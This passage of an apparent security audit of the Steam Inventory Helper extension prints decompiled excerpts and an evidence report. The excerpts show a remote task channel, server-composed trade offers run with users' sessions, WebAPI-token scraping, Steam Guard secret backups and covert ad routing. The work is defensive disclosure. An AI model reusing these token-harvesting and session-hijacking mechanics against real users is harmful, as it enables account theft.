encryptData result when a passkey is supplied and an object when it is absent. The backup helper subsequently reads the stored records.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC20 ↗\nVP(YP,\"buildEncryptedMaFiles\",function(){var t=UP(GP().mark((function t(e,r,n){var o,i;return GP().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return o=!!e,t.next=3,Promise.all(r.map(function(){var t=UP(GP().mark((function t(r){var i,a,s,c;return GP().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(i=r.Session.SteamID,a=o?$N.getRandomSalt():null,s=o?$N.getInitializationVector():null,!o){t.next=9;break}return t.next=6,$N.encryptData(e,a,s,JSON.stringify(r));case 6:t.t0=t.sent,t.next=10;break;case 9:t.t0=r;case 10:return c=t.t0,n.forEach((function(t){t.steamid===i&&(t.encryption_iv=s,t.encryption_salt=a)})),t.abrupt(\"return\",{key:i,value:c});case 13:case\"end\":return t.stop()}}),t)})));return function(e){return t.apply(this,arguments)}}()));case 3:return i=t.sent,t.abrupt(\"return\",{entries:n,encrypted:o,maFileRecords:i});case 5:case\"end\":return t.stop()}}),t)})));return function(e,r,n){return t.apply(this,arguments)}}());con\nSC21 · Cloud setting defaults false and checks encryption\n\nThe normal cloud-backup UI starts disabled and checks whether encryption is enabled.\n\nFILE: dist/assets/popup.159a19fc.js\nSHA-256: 8eda3d15633c24f1b13de2c185bab91b29242cbc12485dae7378020e006da7fa\nOriginal line 231 · zero-based anchor byte 1,002,487 · retained excerpt bytes 1,002,487–1,003,140 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC21 ↗\nenabledBackupSDA:!1,enabledSDAShadowMode:!0},$=>{chrome.storage.local.get([\"shownGoogleAuthMsg\"],T=>{T.shownGoogleAuthMsg&&(k=T.shownGoogleAuthMsg),Is.value=$.enabledSDAShadowMode,$.enabledBackupSDA?chrome.runtime.sendMessage(o,{type:\"BACKGROUND_IS_ENCRYPTED_MAFILES\"},async({isEncrypted:S})=>{S?(st.value=!0,A()):chrome.runtime.sendMessage(o,{type:\"BACKGROUND_GET_SDA_ACCOUNTS\"},async({accounts:O,failed:D})=>{Rs.value=D,O.length?(await chrome.storage.sync.set({enabledBackupSDA:!1}),st.value=!1,A()):(st.value=!0,A())})}):A()})})}),chrome.runtime.sendMessage(o,{type:\"BACKGROUND_SDA_CHECK_AUTH\"},A=>{if(A.success){si.value=A.user;const $=A.socials.fin\nSC22 · Ordinary import sync checks encrypted manifest and backup switch\n\nOrdinary import and synchronization paths check the encrypted manifest and backup preference.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,507,557 · retained excerpt bytes 1,507,557–1,507,780 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC22 ↗\nif(!A.encrypted){t.next=61;break}return t.next=56,v.w.get(\"enabledBackupSDA\");case 56:if(O=t.sent,!O.enabledBackupSDA){t.next=61;break}return t.next=61,xP.makeBackUp();case 61:return t.abrupt(\"return\",{successCount:L.length\nSC23 · Separate explicit backup message invokes raw backup function\n\nA distinct explicit backup message invokes the backup helper directly, with no encryption assertion of its own — a path around the guarded UI and import routes.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,822,287 · retained excerpt bytes 1,822,287–1,822,582 (end exclusive).\n\nThe explicit backup message invokes the raw backup helper. That helper serializes stored records and has no encryption assertion of its own. Its behaviour must be accounted for alongside the guarded ordinary-import and UI paths.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC23 ↗\nmakeBackUp:{code:\"BACKGROUND_SDA_MAKE_BACKUP\",handler:(NB=gB(pB().mark((function t(e){return pB().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,xP.makeBackUp();case 3:e({success:!0}),t.next=10;break;case 6:t.prev=6,t.t0=t.catch(0),console.error(t.t0),e({success:\nSC24 · SDA cipher and KDF\n\nThe authenticator includes a concrete cipher and key-derivation implementation, making its key-handling design inspectable.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,463,199 · retained excerpt bytes 1,463,199–1,463,452 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC24 ↗\ncrypto.subtle.deriveKey({name:\"PBKDF2\",salt:this.base64ToBytes(r),iterations:this.PBKDF2_ITERATIONS,hash:\"SHA-1\"},n,{name:\"AES-CBC\",length:8*this.KEY_SIZE_BYTES},!1,[\"encrypt\",\"decrypt\"]));case 4:case\"end\":return t.stop()}}),t,this)}))),function(t,e){re\nSC25 · SDA constants and auto-confirm defaults\n\nAuthenticator configuration includes automatic-confirmation settings and their defaults.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 17 · zero-based anchor byte 1,465,101 · retained excerpt bytes 1,465,101–1,465,671 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC25 ↗\nYN(zN,\"PBKDF2_ITERATIONS\",5e4),YN(zN,\"SALT_LENGTH\",8),YN(zN,\"KEY_SIZE_BYTES\",32),YN(zN,\"IV_LENGTH\",16),YN(zN,\"keyCache\",{password:null,keys:new Map});const $N=zN;var JN=2,XN=3,QN=12,ZN=3,tP=4,eP=[\"mafiles\",\"manifest\",\"history\"],rP=\"v2\",nP=!1,oP=60,iP=!1,aP=!1,sP=!1,cP=!1,uP=30,lP={passKey:{},confirmations:{},pausedAccounts:{},authorization:{},notifications:{},clearAll:function(){lP.passKey={},lP.confirmations={},lP.pausedAccounts={},lP.authorization={},lP.notifications={},$N.clearKeyCache()}},fP={};function hP(t){return hP=\"function\"==typeof Symbol&&\"symbol\"==type\nSC26 · Sentry profile extras\n\nDiagnostics configuration attaches Steam and SIH account context as Sentry extras.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 437,403 · retained excerpt bytes 437,403–437,464 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC26 ↗\njf(\"sihAppUserProfile\",Eu.sihAppUserProfile),jf(\"userInfo\",r)\nSC27 · Sentry disables automatic Breadcrumbs integration\n\nThe Sentry setup disables automatic Breadcrumbs, narrowing the activity history collected by that integration.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 437,765 · retained excerpt bytes 437,765–438,069 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC27 ↗\n[\"BrowserApiErrors\",\"TryCatch\",\"Breadcrumbs\",\"GlobalHandlers\"].includes(t.name)}));vd({dsn:\"https://3f2c5883e4126dccaf4c6e9645bf4230@sentry.steaminventoryhelper.com/12\",transport:pd,stackParser:nd,defaultIntegrations:!1,integrations:e,release:md})}));const Od=new Ld;var Id;function Nd(t){return Nd=\"func\nSC28 · Russian-language add-funds banner and literal HTTP click URL\n\nThe add-funds placement checks Russian page language and links to a literal-IP HTTP destination.\n\nFILE: js/siteExt/addfunds.bundle.js\nSHA-256: c274980235bfa14acefe1efb546eed6a3b32258ce2cdf5e48acd5cb476d3b863\nOriginal line 1 · zero-based anchor byte 749 · retained excerpt bytes 749–1,359 (end exclusive).\n\nThe branch tests Russian-language settings. The HTTP literal is the click destination; the banner’s images use packaged asset paths. These are separate parts of the advertising route.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC28 ↗\nvar e,n,t,r=$J(\"html\").attr(\"lang\");a.get().isClose||\"ru\"!==r||(n=Math.floor(3*Math.random())+1,t=$J('\\n    <div class=\"sih_lab_banner\">\\n      <div class=\"close_button\"><div class=\"icon\"></div></div>\\n      <a href=\"http://23.105.226.164/Phx3RR?placement=refillpage\" target=\"_blank\">\\n        <img class=\"banner'.concat(n,'\" />\\n      </a>\\n    </div>\\n  ')),$J(\".block.accountInfoBlock\").append(t),(e=$J(\".sih_lab_banner\")).find(\".close_button\").click((function(){var n=a.get();n.isClose=!0,a.set(n),e.remove()})))}})();var t=SIH=\"undefined\"==typeof SIH?{}:SIH;for(var r in n)t[r]=n[r];n.__esModule&&Object.d\nSC29 · Add-funds banner images come from packaged asset paths\n\nThe advertisement image paths point into packaged assets.\n\nFILE: js/siteExt/addfunds.css\nSHA-256: 661ddafed2d7dbbdd2b129352d79c021cfccedbe21a44d00d3c80913e593c8c4\nOriginal line 1 · zero-based anchor byte 285 · retained excerpt bytes 285–481 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC29 ↗\n.sih_lab_banner img.banner1{content:url(\"/assets/banner2/1.jpg\")}.sih_lab_banner img.banner2{content:url(\"/assets/banner2/2.jpg\")}.sih_lab_banner img.banner3{content:url(\"/assets/banner2/3.jpg\")}\n\nSC30 · Ad request carries country and language\n\nA general ad-serving request supplies country and language inputs for selection.\n\nFILE: bundle/js/common.js\nSHA-256: c7f12e778d48dffc105ab3a784b35b4d49967c38d4f1646e405d04126781a976\nOriginal line 1 · zero-based anchor byte 97,063 · retained excerpt bytes 97,063–97,140 (end exclusive).\n\nThe request supplies country and language as targeting inputs. The operator’s creative-selection and delivery logs would connect those inputs to the advertisement served.\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC30 ↗\ntargeting:{f:{country:e.country.toUpperCase(),language:e.lang.toUpperCase()}}\nSC31 · Opaque event has inspectable token-return handler\n\nAn opaque event name maps to a handler that returns a token through the provider’s response path.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 723,953 · retained excerpt bytes 723,953–724,367 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC31 ↗\nWebapi token get: called\"),t.next=4,Gs.Ay.sendRequest({method:\"GET\",url:\"https://steamcommunity.com/id/me/edit/info\"});case 4:n=t.sent,o=n.match('data-loyalty_webapi_token=\"&quot;(.*?)&quot;\"')[1],r.provider.send({event:Av,payload:{event:Av,data:{webApiToken:o},messageId:e.messageId}}),r.logger.log(\"Webapi token get: done\"),t.next=13;break;case 10:t.prev=10,t.t0=t.catch(0),r.logger.error(\"Webapi token get: erro\nSC32 · Opaque event names map to handlers\n\nFive opaque event names map to inspectable implementation handlers in this version.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,211,303 · retained excerpt bytes 1,211,303–1,211,463 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC32 ↗\nXA(XA(XA(XA(XA(XA(XA($A,xv,cb),Ev,Nb),_v,pb),Sv,Gv),Tv,f_),Av,Rb),\"task.new\",DT));function ZA(t){return ZA=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.it\nSC33 · Provider sends heartbeat\n\nThe provider maintains a heartbeat for its connection.\n\nFILE: bundle/js/background.js\nSHA-256: 14bcb727743bd44557466b86eff645074203486f3922223e780bf6d957e741ac\nOriginal line 1 · zero-based anchor byte 1,212,997 · retained excerpt bytes 1,212,997–1,213,052 (end exclusive).\n\nSIH 2.12.1 / AUDIT ANCHOR HIGHLIGHTEDLink to SC33 ↗\npingMessage:JSON.stringify({name:\"ping\"}),pingTime:25e3\nHow the retained record connects each mechanism to its code\n\nThe source record connects the remote controller, Steam operations, authenticator backups and advertising to exact locations in the acquired package.\n\nMechanism\tRetained implementation\tCode record\nDistributed Steam requests\tClient-session requests, local request counters and batch rate-limit handling.\tSC11, SC15\nRemote task dispatch\tNine named market tasks and mapped implementation handlers.\tSC07–11\nAuthenticator cloud custody\tStored maFiles, encryption and passkey handling, ordinary backup guards and the explicit backup-message path.\tSC17–25\nAdvertising inside Steam\tPackaged banner assets, a literal HTTP click destination and contextual selection inputs.\tSC28–30\nAccount credential return\tRegistered events and the WebAPI-token response handler.\tSC31–32\nPlatform rules and commercial conduct\tPublisher declarations, Google’s advertising and review policies, and the supplied browser captures.\tP08–09, P18–19\n\nThe supplied analysis remains available in full below. The original excerpts above preserve the corresponding code, file hashes and byte locations.\n\nRead the complete supplied audit: C2-BOTNET-EVIDENCE.md · 2.11.12\n\nOriginal supplied text, unchanged — including the 11 October 2026 update sections (§2.2a live ad probe, §4.0/§4.1 dispatch primitives, §10 live capture). Read alongside the revision record above and the separately pinned 2.12.1 evidence. Its line references refer to the author’s webcrack output.\n\n# C2 / Distributed Task Grid — Evidence Report\n## Steam Inventory Helper (SIH) v2.11.12 (`cmeakgjggjdlcpncigglobpjbkabhmjl`)\n\n**Method.** Static analysis of the unpacked MV3 build. The webpack bundles were unpacked module-by-module with **webcrack** (`bundle/js/background.js` → 120 modules; `bundleAngular/backgroundAngular.js`; `js/siteExt/global.bundle.js` → 8 modules). Line references below point to the webcrack output (`922.js` = the main 4.1 MB module). No dynamic execution was performed; every claim is backed by decompiled code.\n\n---\n\n# 1. VERDICT\n\n| Claim | Status | Basis |\n|---|---|---|\n| The extension operates a persistent **command-and-control (C2) channel** to developer servers | **PROVEN** | §3: WSS agent, task protocol, restart/ping logic |\n| The server can **push tasks to clients** that execute **Steam market scraping** through the user's authenticated session | **PROVEN** | §4: `task.new` → `trader_tool.steam.get_price_overview(s)` etc. |\n| The server can **remotely operate the user's account**: send / accept / decline / cancel trades, sell items, remove listings | **PROVEN** | §4: `tradesend`, `tradeaccept`, `tradedecline`, `tradecancel`, `sell_item(s)` |\n| The server can **enable/disable and restart the agent fleet per user-bucket** (canary rollout by steamId digit) | **PROVEN** | §5: `/sih/ping` → `controllerIds`, `controller`, `timer` |\n| Requests run from **residential IPs with the user's cookies** (invisible to rate-limit / anti-bot systems) | **PROVEN** | §6: cookie assembly + DNR header injection |\n| The install base functions as a **distributed scraping grid** for the developer's commercial price database | **PROVEN by architecture** | §4 + §7: results uploaded to `items.steaminventoryhelper.com` and resold as \"SIH Steam Median\" |\n| The fleet could be repurposed as a **Layer-7 DDoS instrument** | **CAPABILITY PRESENT, ABUSE NOT EVIDENCED** | §8: nothing in code commands abusive mass requests today; the transport, auth and dispatch layer to do so fully exists |\n\n**Bottom line:** this is not a classical malware botnet (no keylogging, no arbitrary code execution from C2), but it **is a remotely-tasked execution grid over users' authenticated Steam sessions**, and its scraping tasks are distributed across residential IPs by design. Users' network reputation and session credentials power a commercial data-aggregation service.\n\n---\n\n# 2. FULL ENDPOINT INVENTORY (IPs / banners / logs / C2)\n\n## 2.1 Hardcoded IP addresses\n\nScanned every `.js`, `.json`, `.html` in the package. **One real IP literal exists** (all other numeric patterns are library version strings):\n\n| IP | Where | Purpose |\n|---|---|---|\n| `23.105.226.164` | `js/siteExt/addfunds.bundle.js` | Paid banner injected into Steam's \"add funds\" page: `http://23.105.226.164/Phx3RR?placement=refillpage` |\n\nFacts that make this endpoint a finding on its own:\n- **Plain HTTP** (no TLS) → any on-path attacker can substitute the image and the `target=\"_blank\"` link target (malware interstitials, phishing).\n- **Hardcoded IP, no domain** → no certificate, no revocation path, no owner accountability; typical of gray-market ad placements.\n- **Locale targeting**: the banner renders only when Steam language is `ru` (`\"ru\"!==r` guard) and has a local \"close\" persistence flag — regionally-targeted undisclosed advertising inside Steam UI.\n\n## 2.2 Banner / ad-serving endpoints\n\n| Endpoint | Evidence |\n|---|---|\n| `ads.steaminventoryhelper.com/api/v1/adapi/<token>/find-all` | POST; body = targeting object `{f: {...}}` (server-side per-user ad selection); adSpaceTokens: `marketSponsor` (`mllkor7du1wiepgo`), `tradeoffer` (`2d243388513b44459fdcf78f270362c4`), `marketLeftSideBanner` (`rk1lknvys9fjx357`), `externalIntegrationBanner` (`qizy368ile7ewbuv`), `marketSponsorBanner` (`ujj9var1a8ow50lx`) |\n| `download.steaminventoryhelper.com/banners` | banner + ad-token download |\n| `gainskins.steaminventoryhelper.com/api/v2/sih/steam/banner(-list)` | gambling-sector banners |\n| `t.sih-db.com/promo?subid1=trade_window&subid2=csgofast` | CSGOFAST referral injected in the trade window |\n| `http://23.105.226.164/Phx3RR?placement=refillpage` | hardcoded-IP banner (see 2.1) |\n\nAd telemetry: `AD_HIT_SEND` alarm reports impressions/clicks back to the ad API.\n\n## 2.2a LIVE PROBE of the ad infrastructure (2026-10-11) — ads served per-geo, right now\n\nReplicated the exact request every SIH client sends (`POST /api/v1/adapi/<token>/find-all`, body `{\"f\":{\"country\":\"…\",\"language\":\"…\"}}`). The only access control observed is a browser User-Agent check (403 without UA, **HTTP 201 with it** — cosmetic protection):\n\n| Slot (token) | RU feed | US feed |\n|---|---|---|\n| `marketSponsor` (mllkor…) | 10 campaigns: Tradeit, CS Money, **sih.market (their own P2P, priority 1)**, SkinSell, SkinSwap, Waxpeer, SkinOut, CSGO Market, Skinport, UUskins | same minus **CS Money**; `sihmarketP2P` campaign retitled \"(Sponsor RU)\"→\"(Sponsor NOT RU)\" |\n| `tradeoffer` (2d243…) | **skinrave.gg gambling site, referral `r=sih`, utm_campaign=SIH, content=trade_1** (\"Welcome offer RU\") | — |\n| `marketLeftSideBanner` (rk1l…) | **skinrave.gg?r=sih** | — |\n| `externalIntegrationBanner` (qizy…) — injected on 22 third-party marketplaces | **skinrave.gg?r=sih** | — |\n| `marketSponsorBanner` (ujj9…) | **skinrave.gg?r=sih** | — |\n\nInfrastructure resolved during the probe:\n- `ads.`/`download.steaminventoryhelper.com` → **177.28.3.77 — PAYPLAYSOFT-LIMITED, Kazakhstan** (Larus LP routing) — gray-market hosting\n- `t.sih-db.com` → 49.13.208.21 (Hetzner DE); **`t.sih-db.com/promo?subid2=csgofast` → live 302 → `t.csgofast.cash/8qIHSU`** (gambling referral still active today)\n- `23.105.226.164` → Selectel Moscow (RDAP: SERVERS-RU-MOW1, EXEPTO/Selectel) — **80/443 time out** (geo-fenced or retired; was the RU refill-page banner host)\n- Banner creatives: `download.steaminventoryhelper.com/banners/<uuid>.webp` (HTTP 200, e.g. `db1b5e16-…webp` — saved as evidence)\n\n**Campaign titles in the operator's own feed read \"Tradeit (Sponsor NOT RU)\", \"sihmarketP2P (Sponsor RU)\"** — the ad server's internal campaign names literally tag per-country targeting, and the RU/US responses differ on the same call. This is live, server-side, per-geo ad switching — the exact behavior developer replies deny while claiming \"SIH and all its content undergo regular moderation by Google\": Google reviews submitted code, not this feed. 4 of 5 slots currently serve the skinrave.gg gambling campaign with SIH's affiliate tag (`r=sih`) — including the Steam trade window and 22 third-party marketplaces.\n\n## 2.3 Logging / telemetry endpoints\n\n| Endpoint / channel | Payload |\n|---|---|\n| `wss://wss-new.steaminventoryhelper.com` (C2) | handshake: `{client:\"sih-extension\", clientVersion, capabilities}`; heartbeat 25 s; reconnect backoff `[10s, 10s, 20s, 30s, 50s, 80s, 130s]` |\n| `sentry.steaminventoryhelper.com` DSN `3f2c5883e4126dccaf4c6e9645bf4230@.../12` | exceptions + **`userInfo` (full Steam profile) and `sihAppUserProfile` attached as event extras** (`setExtraSihUser`, 922.js:24063–24079). **Correction of earlier notes:** the `Breadcrumbs` integration is explicitly filtered out (922.js:24098–24105) — DOM/XHR breadcrumbs are NOT sent. The user-data-in-extras finding stands. |\n| `items.steaminventoryhelper.com/prices/v2/update` | POST: user's observed prices `{steamid, hash_name, app_id, prices, buy_price, sold, orders, updatedAt}` (batch ≤ 1000 items) (922.js:135699–135703) |\n| `core.steaminventoryhelper.com/historystatsoverprices` | POST: purchase/market history, base64, `x-sih-token`, `withCredentials` |\n| `core.steaminventoryhelper.com/sih/ping` | GET with `x-sih-token`: **server→client control response** (§5) |\n| `core.sih.app/sih/backups/sync` | POST: **base64 maFiles + manifest** (Steam Guard `shared_secret`/`identity_secret`), header `X-Sih-Token` (922.js:99652–99664) |\n| `core.steaminventoryhelper.com/steam/check` | POST `steamUsername` |\n| `skinpay.sih.app/steam-inventory/<steamId>/<appId>` | third-party inventory fetch by steamId (server-side proxy) |\n| `gamestats.steaminventoryhelper.com/api/v1|v2` | key-orders, tournaments, online stats |\n| Event streams | `sendEventData`, `sihEventReg`, `SEND_EVENT_REGISTRATION_V2`, `sendMircoStats`, `sendUserHistoryInfo` (background alarms) |\n\n## 2.4 C2 event names (complete list)\n\nDeclared at 922.js:30887–30902 — this is the server→client command vocabulary:\n\n```\nconnect              handshake (client id, version, capabilities)\njsonsend             generic command packages: refreshTradeList, balanceUpdated,\n                     wishList, followgame, refreshWithdrawOrder, steamRefill,\n                     updateUser, sihrep, trader_tool.steam.{get_my_listings,\n                     sell_item, remove_listing}            (922.js:58006)\ntradesend            server orders the client to SEND a trade offer  (922.js:80728–80778 \"Trade send: called\")\ntradeaccept          server orders the client to ACCEPT a trade offer\ntradedecline         server orders the client to DECLINE a trade offer\ntradecancel          server orders the client to CANCEL a trade offer\ntask.new             server assigns a task to the client              (922.js:74793–74803)\ntask.result          client reports the task outcome back\nsyncuserinfo         server orders an on-demand user-data upload\npermissionsget / permissionsrequest / permissionsedit\nvYPRqkhY88H9iuTxrcm / vYPRgkhY88H91uTxrcm / vYPRqkhY88H91uTxrcm / vYPRqjhY88H91uTxrcm\n                     ← 4 deliberately OBFUSCATED event names (unnamed handlers)\n```\n\n`task.new` actions (922.js:30871–30879, dispatcher 74793–74803):\n\n```\ntrader_tool.steam.get_my_listings\ntrader_tool.steam.get_market_history\ntrader_tool.steam.get_price_overview        ← distributed price scraping\ntrader_tool.steam.get_price_overviews       ← batch price scraping\ntrader_tool.steam.sell_item                 ← sell on the user's account\ntrader_tool.steam.sell_items                ← mass sell\ntrader_tool.steam.remove_listing            ← 922.js:71398–71425\ntrader_tool.steam.remove_listings\ntrader_tool.steam.get_wallet_currency\n```\n\n---\n\n# 3. THE C2 CHANNEL (PROOF)\n\n`service-worker.js` → `bundle/js/background.js` → agent bootstrap (922.js:80905–80951):\n\n```js\nvar i = new zy.WSProvider(\"wss://wss-new.steaminventoryhelper.com\", o, e);\nn.wrap(i);                    // retry wrapper, delays [10s,10s,20s,30s,50s,80s,130s]\nvar s = new Vy(XA, i, r, a);  // Vy = agent; XA = event->handler map\nvar c = new Yy(s, \"sih_app_market_toggle\", ...); // runner, 2 s poll\n```\n\n- The agent (`Vy`, 922.js:30219–30260) subscribes every handler to `provider.onmessage(type, handler)` and maintains a persistent socket with a 25-second ping and exponential reconnect backoff — standard resilient C2 transport.\n- The handshake advertises `{client: \"sih-extension\", clientVersion, capabilities}` (922.js:30880–30886) — the server knows each node's version and feature set.\n- The agent can be **stopped / restarted / re-enabled remotely** (`restartAgent`, `updateState`, `ok.run(true)` / `ok.stop(true)`, 922.js:81646–81759).\n- Four event names are obfuscated (`vYPR...`), i.e. the developers deliberately hid part of the command vocabulary from casual review.\n\n# 4. TASK EXECUTION THROUGH THE USER'S SESSION (PROOF)\n\nHandler `task.new` → action dispatch → concrete example, remove-listing task (922.js:71398–71425):\n\n```js\nn = e.data.listingId;             // task payload from the server\no = e.taskId;\nzS(n, r.storage.get(\"steamId\"), r.storage.get(\"sessionId\")); // executed AS THE USER\nr.provider.send({ event: \"task.result\", payload: { taskId: o, data: { ok: true, listingId: n } } });\n```\n\nThe agent's storage holds **`steamId` and `sessionId` of the logged-in user**; every task executes Steam calls with those credentials, and the outcome is reported back over the C2 socket. The identical pattern applies to price-scraping tasks (`get_price_overview(s)`), which feed the commercial price database at `items.steaminventoryhelper.com` (crowd-sourced via `prices/v2/update`, resold as \"SIH Steam Median\" and as a paid price provider).\n\nAdditionally, the `sih_app_market_toggle` agent runs an **autonomous buy loop** (922.js:127030–127218): it takes the top item from a local buy-stack (`sihAppBuyStack`), checks `user.balance / 1000 >= price`, calls `POST /sih/buy` (with `steam_id`, `custom_trade_link`, 922.js:27465–27517), retries up to 10 iterations per item with a 10-minute deadline (`finishOrderAt = Date.now() + 600000`), and logs outcomes to the developer's storage log.\n\n## 4.0 The `tradesend` primitive — server-composed trade offers executed on the user's account (deepest proof)\n\nFull handler at 922.js:80049–80207. When the C2 pushes a `tradesend` event, the client stores the payload and runs a **3-second interval loop** that drains the queue and, for every server-pushed task, composes a Steam trade offer **entirely from server-provided fields**:\n\n```js\nf = l.sender.items || [];        // items TAKEN FROM the user's inventory\nh = l.recipient.items || [];     // items given to the partner\nu = {\n  sessionid: o.sessionId,                       // user's Steam session\n  partner: s.data.recipient.steamId,            // server-chosen recipient\n  json_tradeoffer: { me: {assets: ...}, them: {assets: ...} },\n  trade_offer_create_params: { trade_offer_access_token: s.data.recipient.tradeToken },\n  tradeoffermessage: s.data.tradeMessage        // optional server-set message\n};\nHA(u, e, s);                     // POST steamcommunity.com/tradeoffer/new/send\n```\n\nThe server decides **who** receives the user's items (partner steamId + access token), **what** is taken (`sender.items`), and **the message**; the client executes it with the user's `sessionId`, then `tradeaccept`/auto-confirm (§2.4, §4) can finish it without user involvement. This is a remote-controlled item-movement primitive over every connected client — the \"users as background proxies/instruments\" thesis proven at the asset level. (Operationally it powers SIH Market P2P deliveries; nothing in the protocol limits it to that.)\n\n# 5. FLEET GATING — SERVER-SIDE ROLLOUT CONTROL (PROOF)\n\n`pingUser` → `GET core.steaminventoryhelper.com/sih/ping` (922.js:25960–26029) returns:\n\n| Server field | Client effect |\n|---|---|\n| `controllerIds` | stored to `AVAILABLE_CONTROLLER_LAST_NUMBER_IDS`; agent enabled only if **the last digit of the user's steamId is in the list** — 10% bucket canary control of the fleet (922.js:161250–161264) |\n| `controller` | stored to `server_switch_controller` — global kill/enable switch |\n| `timer` | stored to `INVENTORY_PARSING_INFO.timer` — remote tuning of inventory parsing cadence |\n| `itemPayIds` | stored to `AVAILABLE_ITEM_PAY_IDS` — server-chosen item sets |\n\nThe same `/sih/ping` request uploads the user's state (`disabled` reasons, `userGemsCount`).\n\n# 6. WHY THE TRAFFIC LOOKS LEGITIMATE (RESIDENTIAL-IP SCRAPING)\n\n- All Steam requests originate in the **user's browser** — real residential IP, real browser TLS fingerprint, real `sessionid`/`steamLoginSecure` cookies.\n- Cookies are read via `chrome.cookies` (e.g. 922.js:33450) and, where the fetch layer needs them, the extension **creates dynamic `declarativeNetRequest` rules that set the `Cookie` header** on its own requests (rule builder 922.js:124863–124912; `setRule`/`removeRule` wrapper 922.js:13161–13324). The `rules.json` shipped in the package is `[]` — all header-manipulation rules are created **dynamically at runtime**, invisible to store review.\n- The code self-throttles to stay below Steam's abuse radar: `TRADE_REQUEST_LIMIT_COUNT` (> 20 → pause), `CLEAR_TRADEOFFER_REQUEST_LIMIT` alarm, `STEAM_RATE_LIMITED` handling, and a **server-controlled delay** for price uploads (`a.data.delay` from the `prices/v2/update` response, 922.js:135711–135719).\n\nNet effect: scraping that would be blocked from datacenter IPs is laundered through hundreds of thousands of residential users — each individual client stays under the limit, while the aggregate fleet harvests continuously.\n\n# 7. DATA LOOP (WHAT THE GRID PRODUCES)\n\n```\nfleet users ──(task.new: get_price_overview / own browsing)──► Steam endpoints\n        │                                                            │\n        │  (residential IP + user session)                           ▼\n        │                                              items.steaminventoryhelper.com\n        │                                              prices/v2/update (per-user batches)\n        ▼                                                            ▼\nC2: task.result / historystatsoverprices / Sentry userInfo   aggregated price DB\n        │                                                    (\"SIH Steam Median\",\n        ▼                                                     premium subscriptions)\ndeveloper-controlled commercial dataset\n```\n\n# 8. RISK ASSESSMENT\n\n## 8.1 Proven risks\n\n| # | Risk | Severity | Evidence |\n|---|---|---|---|\n| R1 | **C2 over user accounts** — the server can send/accept/decline/cancel trades and sell/remove items on every connected client | CRITICAL | §2.4, §4 |\n| R2 | **Distributed scraping grid** — price-history harvesting at scale through residential IPs | CRITICAL | §4, §6 |\n| R3 | **Steam Guard secrets uploaded to developer cloud** (`backups/sync`, plaintext when SDA unlocked) — server compromise = mass account takeover with 2FA bypass | CRITICAL | §2.3 |\n| R4 | **Obfuscated command vocabulary** (4 unnamed `vYPR*` events) — part of the remote command surface is deliberately hidden from review | HIGH | §2.4 |\n| R5 | **Fleet canary gating by steamId digit** — silent enable/disable of node capabilities per bucket | HIGH | §5 |\n| R6 | **HTTP banner on hardcoded IP** (MITM content injection into Steam pages, RU-locale targeting) | HIGH | §2.1 |\n| R7 | **Full economic profile exfiltration** (prices, orders, history, balances) + `userInfo` into Sentry | HIGH | §2.3 |\n| R8 | Auto-confirm + auto-buy loops can move items/money with a single server-side or logic error | HIGH | §4 |\n\n## 8.2 Capability present, abuse not evidenced (must be stated honestly)\n\n- **Layer-7 DDoS / mass-targeting**: the transport (persistent WSS + 25 s heartbeat), the dispatch layer (`task.new`, `jsonsend`) and the authenticated request machinery exist, so the fleet **could** be pointed at any Steam or third-party endpoint at any rate the server chooses. In the audited version, task types are limited to Steam market endpoints and no command floods targets. Verdict: **capability present; no evidence of current abuse in code.**\n- **Arbitrary URL fetching**: the universal HTTP client (`Gs.Ay.apiRequest`) + `<all_urls>` + dynamic DNR rules could technically fetch arbitrary hosts with arbitrary headers. The observed call graph targets Steam, SIH's own domains and 5 partner-market APIs. Verdict: same — **capability present, not exercised.**\n\n## 8.3 Vulnerabilities (concrete, demonstrable)\n\n1. **MITM on the ad chain**: `http://23.105.226.164/...` banner (no TLS) inside authenticated Steam pages → on-path attacker controls link/image content.\n2. **Secret upload channel**: `backups/sync` base64-encodes maFiles; base64 is encoding, not encryption — server-side 